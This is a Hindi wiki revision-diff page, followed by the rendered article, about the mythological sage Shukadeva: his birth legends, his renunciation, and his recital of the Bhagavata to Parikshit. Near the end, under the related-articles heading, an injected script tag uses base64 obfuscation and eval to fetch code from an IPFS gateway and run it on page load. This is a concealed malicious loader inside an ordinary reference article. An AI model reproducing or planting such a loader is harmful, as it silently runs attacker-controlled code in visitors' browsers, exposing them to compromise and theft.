"शुकदेव" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
(2 सदस्यों द्वारा किये गये बीच के 2 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
महात्मा शुकदेव भगवान [[वेदव्यास]] के पुत्र थे। इनकी उत्पत्ति के सम्बन्ध में अनेक कथाएँ मिलती हैं। कहीं इन्हें व्यास की पत्नी वटिका के तप का परिणाम और कहीं व्यास जी की तपस्या के परिणाम स्वरूप भगवान [[शंकर]] का अद्भुत वरदान बताया गया है। एक कथा ऐसी भी है कि जब जब इस धराधाम पर भगवान श्री[[कृष्ण]] और श्री[[राधिका]]जी का अवतरण हुआ, तब श्रीराधिकाजी का क्रीडाशुक भी इस धराधाम पर आया। उसी समय भगवान [[शिव]] [[पार्वती देवी|पार्वती]]जी को अमर कथा सुना रहे थे। पार्वती जी कथा सुनते-सुनते निद्रा के वशीभूत हो गयीं और उनकी जगह पर शुक ने हुंकारी भरना प्रारम्भ कर दिया। जब भगवान शिव को यह बात ज्ञात हुई, तब उन्होंने शुक को मारने के लिये उसका पीछा किया। शुक भागकर [[व्यास]] जी के आश्रम में आया और सूक्ष्मरूप बनाकर उनकी पत्नी के मुख में घुस गया। भगवान शंकर वापस लौट गये। यही शुक व्यासजी के अयोनिज पुत्र के रूप में प्रकट हुए। गर्भ में ही इन्हें [[वेद]], [[उपनिषद]], [[दर्शन शास्त्र|दर्शन]] और [[पुराण]] आदि का सम्यक ज्ञान हो गया था। ऐसा कहा जाता है कि ये बारह वर्ष तक गर्भ के बाहर ही नहीं निकले। जब भगवान श्रीकृष्ण ने स्वयं आकर इन्हें आश्वासन दिया कि बाहर निकलने पर तुम्हारे ऊपर माया का प्रभाव नहीं पड़ेगा, तभी ये गर्भ से बाहर निकले। जन्मते ही श्रीकृष्ण और अपने पिता-माता को प्रणाम करके इन्होंने तपस्या के लिये जंगल की राह ली। व्यास जी इनके पीछे-पीछे 'हा पुत्र! पुकारते रहे, किन्तु इन्होंने उस पर कोई ध्यान न दिया।  
+
{{पात्र परिचय
----
+
|चित्र=Sukadev-and-Pariksit.jpg
श्रीशुकदेव जी का जीवन वैराग्य का अनुपम उदाहरण है। ये गाँवों में केवल गौ दुहने के समय ही जाते और उतने ही समय तक ठहरने के बाद जंगलों में वापस चले आते थे। व्यास जी की हार्दिक इच्छा थी कि शुकदेव जी [[भागवत पुराण|श्रीमद्भागवत]]-जैसी परमहंस संहिता का अध्ययन करें, किन्तु ये मिलते ही नहीं थें श्रीव्यास जी ने श्रीमद्भागवत की श्रीकृष्णलीला का एक श्लोक बनाकर उसका आधा भाग अपने शिष्यों को रटा दिया। वे उसे गाते हुए जंगल में समिधा लाने के लिये जाया करते थे। एक दिन शुकदेव जी ने भी उस श्लोक को सुन लिया। श्रीकृष्णलीला के अद्भुत आकर्षण से बँधकर शुकदेव जी अपने पिता श्रीव्यास जी के पास लौट आये। फिर उन्होंने श्रीमद्भागवत महापुराण के अठारह हज़ार श्लोकों का विधिवत अध्ययन किया। इन्होंने इस परमहंस संहिता का सप्ताह-पाठ महाराज [[परीक्षित]] को सुनाया, जिसके दिव्य प्रभाव से परीक्षित जी ने मृत्यु को भी जीत लिया और भगवान के मंगलमय धाम के सच्चे अधिकारी बने। श्रीव्यास जी के आदेश पर श्रीशुकदेव जी महाराज परम तत्त्वज्ञानी महाराज [[जनक]] के पास गये और उनकी कड़ी परीक्षा में उत्तीर्ण होकर उनसे ब्रह्मज्ञान प्राप्त किया। आज भी महात्मा शुकदेव अमर हैं। ये समय-समय पर अधिकारी पुरुषों को दर्शन देकर उन्हें अपने दिव्य उपदेशों के द्वारा कृतार्थ किया करते हैं।
+
|चित्र का नाम=शुकदेव
 +
|अन्य नाम=
 +
|अवतार=
 +
|वंश-गोत्र=
 +
|कुल=
 +
|पिता=[[व्यास]]
 +
|माता=वटिका
 +
|धर्म पिता=
 +
|धर्म माता=
 +
|पालक पिता=
 +
|पालक माता=
 +
|जन्म विवरण=शुकदेव को [[व्यास]] की पत्नी वटिका के तप का परिणाम और कहीं व्यास की तपस्या के परिणामस्वरूप [[शिव]] का अद्भुत वरदान बताया गया है।
 +
|समय-काल=[[महाभारत]] काल
 +
|धर्म-संप्रदाय=
 +
|परिजन=
 +
|गुरु=
 +
|विवाह=पीवरी
 +
|संतान=
 +
|विद्या पारंगत=[[वेद]], [[उपनिषद]], [[दर्शन शास्त्र|दर्शन]] और [[पुराण]] आदि का सम्यक ज्ञान।
 +
|रचनाएँ=
 +
|महाजनपद=
 +
|शासन-राज्य=
 +
|मंत्र=
 +
|वाहन=
 +
|प्रसाद=
 +
|प्रसिद्ध मंदिर=
 +
|व्रत-वार=
 +
|पर्व-त्योहार=
 +
|श्रृंगार=
 +
|अस्त्र-शस्त्र=
 +
|निवास=
 +
|ध्वज=
 +
|रंग-रूप=
 +
|पूजन सामग्री=
 +
|वाद्य=
 +
|सिंहासन=
 +
|प्राकृतिक स्वरूप=
 +
|प्रिय सहचर=
 +
|अनुचर=
 +
|शत्रु-संहार=
 +
|संदर्भ ग्रंथ=
 +
|प्रसिद्ध घटनाएँ=
 +
|अन्य विवरण=
 +
|मृत्यु=
 +
|यशकीर्ति=
 +
|अपकीर्ति=
 +
|संबंधित लेख=[[वेद व्यास]], [[परीक्षित]], [[श्रीमद्भागवत]]
 +
|शीर्षक 1=
 +
|पाठ 1=
 +
|शीर्षक 2=
 +
|पाठ 2=
 +
|अन्य जानकारी=कहा जाता है कि शुकदेव बारह वर्ष तक माता के गर्भ से बाहर ही नहीं निकले। [[कृष्ण|भगवान श्रीकृष्ण]] के कहने से ये गर्भ से बाहर आये।
 +
|बाहरी कड़ियाँ=
 +
|अद्यतन=
 +
}}
 +
 
 +
'''शुकदेव''' [[वेदव्यास]] के पुत्र थे। वे बचपन में ही ज्ञान प्राप्ति के लिये वन में चले गये थे। इन्होंने ही [[परीक्षित]] को '[[श्रीमद्भागवत|श्रीमद्भागवत पुराण]]' सुनाया था। शुकदेव जी ने व्यास से '[[महाभारत]]' भी पढ़ा था और उसे [[देवता|देवताओं]] को सुनाया था। शुकदेव मुनि कम अवस्था में ही ब्रह्मलीन हो गये थे।
 +
==जन्म कथा==
 +
इनकी उत्पत्ति के सम्बन्ध में अनेक [[कथा|कथाएँ]] मिलती हैं। कहीं इन्हें व्यास की पत्नी वटिका के तप का परिणाम और कहीं व्यास जी की तपस्या के परिणामस्वरूप [[शंकर|भगवान शंकर]] का अद्भुत वरदान बताया गया है। विरजा क्षेत्र के पितरों के पुत्री पीवरी से शुकदेव का विवाह हुआ था।<ref>ब्रह्माण्डपुराण 3.10.75-80; पौराणिक कोश -राणा प्रसाद शर्मा, पृष्ठ 497</ref>
 +
 
 +
एक कथा ऐसी भी है कि जब जब इस धराधाम पर [[कृष्ण|भगवान श्रीकृष्ण]] और [[राधा|श्रीराधिकाजी]] का अवतरण हुआ, तब श्रीराधिकाजी का क्रीडाशुक भी इस धराधाम पर आया। उसी समय भगवान शिव [[पार्वती देवी|पार्वती]] को अमर कथा सुना रहे थे। पार्वती जी कथा सुनते-सुनते निद्रा के वशीभूत हो गयीं और उनकी जगह पर शुक ने हुंकारी भरना प्रारम्भ कर दिया। जब भगवान शिव को यह बात ज्ञात हुई, तब उन्होंने शुक को मारने के लिये उसका पीछा किया। शुक भागकर [[व्यास]] के आश्रम में आया और सूक्ष्म रूप बनाकर उनकी पत्नी के मुख में घुस गया। भगवान शंकर वापस लौट गये। यही शुक व्यासजी के अयोनिज पुत्र के रूप में प्रकट हुए। गर्भ में ही इन्हें [[वेद]], [[उपनिषद]], [[दर्शन शास्त्र|दर्शन]] और [[पुराण]] आदि का सम्यक ज्ञान हो गया था।
 +
 
 +
ऐसा कहा जाता है कि ये बारह वर्ष तक गर्भ के बाहर ही नहीं निकले। जब भगवान श्रीकृष्ण ने स्वयं आकर इन्हें आश्वासन दिया कि बाहर निकलने पर तुम्हारे ऊपर माया का प्रभाव नहीं पड़ेगा, तभी ये गर्भ से बाहर निकले। जन्मते ही श्रीकृष्ण और अपने [[पिता]]-[[माता]] को प्रणाम करके इन्होंने तपस्या के लिये जंगल की राह ली। [[व्यास|व्यास जी]] इनके पीछे-पीछे 'हा पुत्र! पुकारते रहे, किन्तु इन्होंने उन पर कोई ध्यान न दिया।  
 +
==कृष्णलीला से आकर्षित==
 +
श्रीशुकदेव जी का जीवन वैराग्य का अनुपम उदाहरण है। ये गाँवों में केवल गौ दुहने के समय ही जाते और उतने ही समय तक ठहरने के बाद जंगलों में वापस चले आते थे। व्यास की हार्दिक इच्छा थी कि शुकदेव '[[भागवत पुराण|श्रीमद्भागवत]]' जैसी परमहंस संहिता का अध्ययन करें, किन्तु ये मिलते ही नहीं थे। व्यास ने 'श्रीमद्भागवत' की [[कृष्णलीला|श्रीकृष्णलीला]] का एक श्लोक बनाकर उसका आधा भाग अपने शिष्यों को रटा दिया। वे उसे गाते हुए जंगल में समिधा लाने के लिये जाया करते थे। एक दिन शुकदेव जी ने भी उस [[श्लोक]] को सुन लिया। श्रीकृष्णलीला के अद्भुत आकर्षण से बँधकर शुकदेव अपने पिता श्रीव्यास के पास लौट आये। फिर उन्होंने '[[श्रीमद्भागवत|श्रीमद्भागवत महापुराण]]' के अठारह हज़ार श्लोकों का विधिवत अध्ययन किया।
  
{{प्रचार}}
+
इन्होंने इस परमहंस संहिता का सप्ताह-पाठ [[परीक्षित|महाराज परीक्षित]] को सुनाया, जिसके दिव्य प्रभाव से परीक्षित ने मृत्यु को भी जीत लिया और भगवान के मंगलमय धाम के सच्चे अधिकारी बने। श्रीव्यास के आदेश पर शुकदेव महाराज परम तत्त्वज्ञानी महाराज जनक के पास गये और उनकी कड़ी परीक्षा में उत्तीर्ण होकर उनसे ब्रह्मज्ञान प्राप्त किया। आज भी महात्मा शुकदेव अमर हैं। ये समय-समय पर अधिकारी पुरुषों को दर्शन देकर उन्हें अपने दिव्य उपदेशों के द्वारा कृतार्थ किया करते हैं।
{{लेख प्रगति
+
 
|आधार=
+
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1|माध्यमिक=|पूर्णता=|शोध=}}
|प्रारम्भिक=प्रारम्भिक1
 
|माध्यमिक=
 
|पूर्णता=
 
|शोध=
 
}}
 
 
==संबंधित लेख==
 
==संबंधित लेख==
 
{{पौराणिक चरित्र}}  
 
{{पौराणिक चरित्र}}  
[[Category:पौराणिक चरित्र]]
+
[[Category:पौराणिक चरित्र]][[Category:पौराणिक कोश]][[Category:प्रसिद्ध चरित्र और मिथक कोश]]
[[Category:पौराणिक कोश]]  
 
[[Category:ऋषि मुनि]]
 
[[Category:प्रसिद्ध चरित्र और मिथक कोश]]
 
 
__INDEX__
 
__INDEX__

08:26, 14 अगस्त 2015 के समय का अवतरण

संक्षिप्त परिचय
शुकदेव
शुकदेव
पिता व्यास
माता वटिका
जन्म विवरण शुकदेव को व्यास की पत्नी वटिका के तप का परिणाम और कहीं व्यास की तपस्या के परिणामस्वरूप शिव का अद्भुत वरदान बताया गया है।
समय-काल महाभारत काल
विवाह पीवरी
विद्या पारंगत वेद, उपनिषद, दर्शन और पुराण आदि का सम्यक ज्ञान।
संबंधित लेख वेद व्यास, परीक्षित, श्रीमद्भागवत
अन्य जानकारी कहा जाता है कि शुकदेव बारह वर्ष तक माता के गर्भ से बाहर ही नहीं निकले। भगवान श्रीकृष्ण के कहने से ये गर्भ से बाहर आये।

शुकदेव वेदव्यास के पुत्र थे। वे बचपन में ही ज्ञान प्राप्ति के लिये वन में चले गये थे। इन्होंने ही परीक्षित को 'श्रीमद्भागवत पुराण' सुनाया था। शुकदेव जी ने व्यास से 'महाभारत' भी पढ़ा था और उसे देवताओं को सुनाया था। शुकदेव मुनि कम अवस्था में ही ब्रह्मलीन हो गये थे।

जन्म कथा

इनकी उत्पत्ति के सम्बन्ध में अनेक कथाएँ मिलती हैं। कहीं इन्हें व्यास की पत्नी वटिका के तप का परिणाम और कहीं व्यास जी की तपस्या के परिणामस्वरूप भगवान शंकर का अद्भुत वरदान बताया गया है। विरजा क्षेत्र के पितरों के पुत्री पीवरी से शुकदेव का विवाह हुआ था।[1]

एक कथा ऐसी भी है कि जब जब इस धराधाम पर भगवान श्रीकृष्ण और श्रीराधिकाजी का अवतरण हुआ, तब श्रीराधिकाजी का क्रीडाशुक भी इस धराधाम पर आया। उसी समय भगवान शिव पार्वती को अमर कथा सुना रहे थे। पार्वती जी कथा सुनते-सुनते निद्रा के वशीभूत हो गयीं और उनकी जगह पर शुक ने हुंकारी भरना प्रारम्भ कर दिया। जब भगवान शिव को यह बात ज्ञात हुई, तब उन्होंने शुक को मारने के लिये उसका पीछा किया। शुक भागकर व्यास के आश्रम में आया और सूक्ष्म रूप बनाकर उनकी पत्नी के मुख में घुस गया। भगवान शंकर वापस लौट गये। यही शुक व्यासजी के अयोनिज पुत्र के रूप में प्रकट हुए। गर्भ में ही इन्हें वेद, उपनिषद, दर्शन और पुराण आदि का सम्यक ज्ञान हो गया था।

ऐसा कहा जाता है कि ये बारह वर्ष तक गर्भ के बाहर ही नहीं निकले। जब भगवान श्रीकृष्ण ने स्वयं आकर इन्हें आश्वासन दिया कि बाहर निकलने पर तुम्हारे ऊपर माया का प्रभाव नहीं पड़ेगा, तभी ये गर्भ से बाहर निकले। जन्मते ही श्रीकृष्ण और अपने पिता-माता को प्रणाम करके इन्होंने तपस्या के लिये जंगल की राह ली। व्यास जी इनके पीछे-पीछे 'हा पुत्र! पुकारते रहे, किन्तु इन्होंने उन पर कोई ध्यान न दिया।

कृष्णलीला से आकर्षित

श्रीशुकदेव जी का जीवन वैराग्य का अनुपम उदाहरण है। ये गाँवों में केवल गौ दुहने के समय ही जाते और उतने ही समय तक ठहरने के बाद जंगलों में वापस चले आते थे। व्यास की हार्दिक इच्छा थी कि शुकदेव 'श्रीमद्भागवत' जैसी परमहंस संहिता का अध्ययन करें, किन्तु ये मिलते ही नहीं थे। व्यास ने 'श्रीमद्भागवत' की श्रीकृष्णलीला का एक श्लोक बनाकर उसका आधा भाग अपने शिष्यों को रटा दिया। वे उसे गाते हुए जंगल में समिधा लाने के लिये जाया करते थे। एक दिन शुकदेव जी ने भी उस श्लोक को सुन लिया। श्रीकृष्णलीला के अद्भुत आकर्षण से बँधकर शुकदेव अपने पिता श्रीव्यास के पास लौट आये। फिर उन्होंने 'श्रीमद्भागवत महापुराण' के अठारह हज़ार श्लोकों का विधिवत अध्ययन किया।

इन्होंने इस परमहंस संहिता का सप्ताह-पाठ महाराज परीक्षित को सुनाया, जिसके दिव्य प्रभाव से परीक्षित ने मृत्यु को भी जीत लिया और भगवान के मंगलमय धाम के सच्चे अधिकारी बने। श्रीव्यास के आदेश पर शुकदेव महाराज परम तत्त्वज्ञानी महाराज जनक के पास गये और उनकी कड़ी परीक्षा में उत्तीर्ण होकर उनसे ब्रह्मज्ञान प्राप्त किया। आज भी महात्मा शुकदेव अमर हैं। ये समय-समय पर अधिकारी पुरुषों को दर्शन देकर उन्हें अपने दिव्य उपदेशों के द्वारा कृतार्थ किया करते हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

  1. ब्रह्माण्डपुराण 3.10.75-80; पौराणिक कोश -राणा प्रसाद शर्मा, पृष्ठ 497